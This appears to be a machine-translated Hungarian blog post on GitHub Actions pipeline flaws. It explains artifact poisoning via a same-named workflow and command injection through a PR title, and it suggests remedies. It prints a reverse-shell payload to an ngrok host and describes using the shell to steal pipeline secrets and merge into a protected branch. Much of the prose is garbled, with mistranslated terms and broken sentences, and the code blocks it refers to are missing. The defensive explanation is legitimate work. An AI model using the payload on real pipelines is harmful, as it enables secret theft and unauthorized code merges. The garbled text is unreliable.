A korábbi bejegyzésekben (ld. Közvetett mérgezés Pipeline Végrehajtás I-PPE és a Mérgezett Pipeline Végrehajtási egyéni védőeszközök , alapvetően egyéni védőfelszerelésekkel (PPE) foglalkoztunk (mérgezett anyagok). Pipeline Végrehajtás): láttuk, hogyan működik, milyen hatásai vannak, hogyan lehet némileg kihasználni, valamint hogyan lehet védekezni ellene.
Ez a bejegyzés mélyebben belemerül néhány más dologba is CI/CD pipeline sebezhetőségek, mint például az artifact poisoning és a code injection.
Ehhez valahogy a PPE-re fogunk alapozni, ezért készítsünk egy gyors összefoglalót arról, amit a PPE-ről láttunk.
Korábbi munkák egyéni védőfelszerelésekkel kapcsolatban
Összefoglalva, egy alapvető GitHubbal kezdtük pipeline a közreműködött kód felépítéséhez és teszteléséhez egy pull requestEmellett definiál néhány ellenőrzést, amelyek teljesülése esetén a kód beépül a fő ágba. Ezt így neveztük el: 1. forgatókönyv.
Egy korábbi bejegyzésünkben bemutattuk, hogyan működik ez az alapvető pipeline volt mind a D-PPE-re, mind az I-PPE-re érzékeny.
Sikerült D-PPE javítás by a trigger esemény módosítása ból ből pull_request nak nek pull_request_target, így a pipeline biztonságos a D-PPE számára. Emlékeztetőül, pipelineegy pull_request_target esemény által aktivált `s` végrehajtja az alap` ... pipeline kód, nem a pipeline a kódban található pull request.
Ezt úgy neveztük el, hogy 2. forgatókönyv.
Ennek a módosításnak az eredményeként bebizonyítottuk, hogy A 2. forgatókönyv továbbra is sebezhető volt az I-PPE-vel szemben.
Úgy döntöttünk, hogy megjavítjuk hogy felosztja a pipeline kettéosztva:
- Az első pipeline (CI építése) lenne nézd meg a PR kódot (hogy elkészíthesd), készítsd el a buildet és generálj egy műterméket.
- Az 2nd pipeline (CI teszt) lenne nézd meg az alapkódot (a shell script módosításának elkerülése érdekében) és végrehajtja az eredeti szkripteket a műterméken.
- A teszt CI szinkronizálása pipeline a Build CI UTÁN futtatható pipeline, a munkafolyamat_futása ravaszt.
Ezt úgy neveztük el, hogy 3. forgatókönyv.
Szerezzük meg mindkettő kódját! pipelineezen módosítások szerint…
1. pipeline (Build CI):
2nd pipeline (Teszt konfidenciaintervallum):
Műtárgymérgezés
A fentiek szerint CI/CD pipelines:
- pipeline CI építése is biztonságos mindkettőre D-PPE (következtében pull_request_target) És I-PPE (mert már nem hajtja végre a shell szkriptet).
- pipeline CI teszt Szintén biztonságos mindkettőre D-PPE (következtében munkafolyamat_futása) És I-PPE (mert az alapkódot ellenőrzi az eredeti shell szkript megszerzéséhez)
Merüljünk el alaposan ebben a „megoldásban”.
Pipeline CI teszt zip fájlként tölti le az artefaktust.
Kicsomagolás után végrehajtja a „biztonságos” shell szkriptet. Miért mondom, hogy a „biztonságos” shell szkript? Mert egy előző lépésben a pipeline ellenőrzi az „alap” kódot, így az eredeti szkript a munkaterület mappájába kerül. Ezért, amikor a pipeline végrehajtja a korábban letöltött bináris fájl felhasználásával futtatni kívánt shell szkriptet.
Akkor mi az probléma ezzel a megközelítéssel? A probléma az, hogy amikor egy felhasználó „létrehoz” egy újat pipeline.
Ha egy felhasználó megnyit egy PR-t, amely új pipeline, a GitHub ezt fogja végrehajtani pipeline (bizonyos feltételek mellett, ahogy az előzőekben láttuk Hozzászólás).
Ennek fényében, mi van, ha a felhasználó létrehoz egy újat? pipeline ugyanazzal a névvel, mint a Build CI? Igen, meglepő, de A GitHub lehetővé teszi két létrehozását pipelineugyanazzal a névvel!!
Ne feledd, hogy a Test CI a Build CI után fog lefutni…
Meglepő módon, mivel most már kettő van pipelineazonos nevű, a pipeline A teszt CI kétszer fog lefutni: egy az eredeti után pipeline és más az „új” után pipeline.
Hogyan tudja ezt egy hacker kihasználni?
- Először is, a rosszindulatú felhasználó módosíthatja a shell scriptet, hogy elküldje a titkos kódot a hacker által ellenőrzött szerverre.
- Másodszor, az új pipeline tartalmaz egy sort a módosított shell script másolásához az artifactba → a műtárgy mérgezésect!!!
Amikor a felhasználó megnyit egy PR-t ezekkel a módosításokkal, az „új” pipeline végrehajtásra kerül (mérgezett tárgy feltöltése) és a Deploy CI pipeline ezt követően kerül végrehajtásra, aminek eredményeként a „módosított” shell szkript felülírja az „eredeti” shell szkriptet, amely a pipeline munkaterület.
Ezt hívjuk mi Műtárgymérgezés, azaz a módosításának (feltörésének) képessége pipeline logika egy módosításán keresztül pipeline műalkotás.
Egy lehetséges kármentesítés elég egyértelmű: Ha csak kicsomagoljuk az artifactot a munkaterület egy almappájába, elkerülhető az „alap” shell script felülírása..
Kódbefecskendezés
Az artifact poisoningon kívül látsz más sebezhetőséget a fenti kódban?
Menjünk!!
Amint a kódban látható, pipeline A Build CI felépíti a bináris fájlt, majd feltölti azt egy pipeline műterméket, és emellett feltölt néhány további adatot: a PR címet és a PR azonosítót.
Miért? Mert a PR egyesítéséhez, ahogy alább látható, a Test CI pipeline szüksége van a PR azonosítóra a PR-t egyesítő GitHub REST API meghívásához.
Hogyan működik a CI teszt? pipeline megszerzi azt a PR-azonosítót? Információk megosztása szövegfájlokban (egy pipeline egy gyakori módja az információk megosztásának pipelines. És pontosan ez az, amit ezek pipelinecsinálnak.
Szigorúan véve, csak a PR azonosítóra van szükség a PR egyesítéséhez, de a pipeline Az admin úgy döntött, hogy a Build CI tartalmazza a PR címet is, így a Test CI is pipeline kinyomtatna egy információs üzenetet, amely tartalmazza mind a PR azonosítót, mind a beosztást.
A PR cím mindig a felhasználótól származó adat, ezért mindig megbízhatatlannak kell tekinteni.. Így a pipeline úgy kell kezelni, és védőintézkedéseket kell tenni.
A fenti kódban láthatjuk a PR címre utaló konkrét üzenetet. Ez csak egy „echo” linux parancs.
Karakterlánc-interpoláció révén, ha a cím „egy álcím”, a Github belsőleg generál egy szkriptet, amely tartalmazza a következőket:
De mi lenne, ha a PR címe valami ilyesmi lenne:
„Kártékony cím” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "A szkript a következő lenne:
Ennek eredményeként egy fordított shell nyílik meg a hackerek által irányított szerver ellen.
Ez a fordított shell felhasználható a hozzáféréshez pipeline titkok (ne feledjük, hogy a Test CI jogosultsági módban fut, mert a workflow_run aktiválja, így hozzáfér a titkokhoz).
De mit lehet még tenni azon a fordított héjon keresztül?
Nézd meg a CI tesztkódot:
Amint a Test CI-ben látható pipeline, a curl merge parancs a GITHUB_PAT-ot használja (ami egy pipeline env var), így a futtatóprogram a GITHUB_PAT környezeti változót tartalmazza. Továbbá létrehoz egy env var-t is, amely a PR azonosítót olvassa be.
Tehát a hackernek csak le kell másolnia a curl parancsot, és be kell illesztenie a fordított shellbe, közvetlenül a védett ágba egyesítve a PR-t.
Mindezek védelme érdekében:
- Nak nek elkerülése érdekében karakterlánc-interpoláció nem megbízható adatokkal (sebezhető a következőkkel szemben) kódbefecskendezés) által meghatározó pipeline környezeti változók ahelyett, hogy közvetlenül az echo parancsokban használnád
Ahelyett, hogy ezt használná:
Használd ezt:
- Még a kódbefecskendezéses kihasználással sem sikerült volna a curl merge parancs, ha megfelelően megvédte a pull requests valamilyen kötelező felülvizsgálat vagy jóváhagyás révén.
Következtetések
Valahogy nehéz megvédeni CI/CD pipelinekonfigurációját és a lekérést pipelinementes a sebezhetőségektől.
Ez nem azt jelenti CI/CD A rendszerek (mint például a GitHub ebben az esetben) önmagukban sebezhetőek. CI/CD A rendszerek biztosítják a sebezhetőségek elleni védelmet … de az adminisztrátor felelőssége ezen védelmek megvalósítása.
De… Nem tudsz megoldani egy sebezhetőséget, hacsak nem tudsz a létezéséről!!!
Természetesen egy magasan képzett devops adminisztrátor mindezeket a fenyegetéseket szem előtt tarthatja, és megfelelően megvédheti a CI/CD pipelinede még így is rendkívül értékes egy olyan termék használata, amely képes észlelni az ilyen típusú sebezhetőségeket. És természetesen a sebezhetőség-észlelési folyamat automatizálása (például a vizsgálat futtatása a CI/CD pipelines).
Ez a megközelítés nevezhető a következőnek: „Biztonsági kapu"
- Újat csinálni pipeline (Biztonsági kapu) az ellenőrzéshez CI/CD pipelinesebezhetőségeit, és a többi CI-t pipelinecsak a Biztonsági Kapu sikeres kitöltése után hajtható végre pipeline.
- A biztonsági kapu pipelineellenőrizni fogja CI/CD pipelinesebezhetőségei és
- Ha sebezhetőségeket találnak, akkor az nem fog működni, és így a másik is. pipelines nem kerül végrehajtásra.
- Ha nem találnak sebezhetőségeket, a pipeline sikerrel jár majd, és a másik is pipelinea szokásos módon fog végrehajtódni.
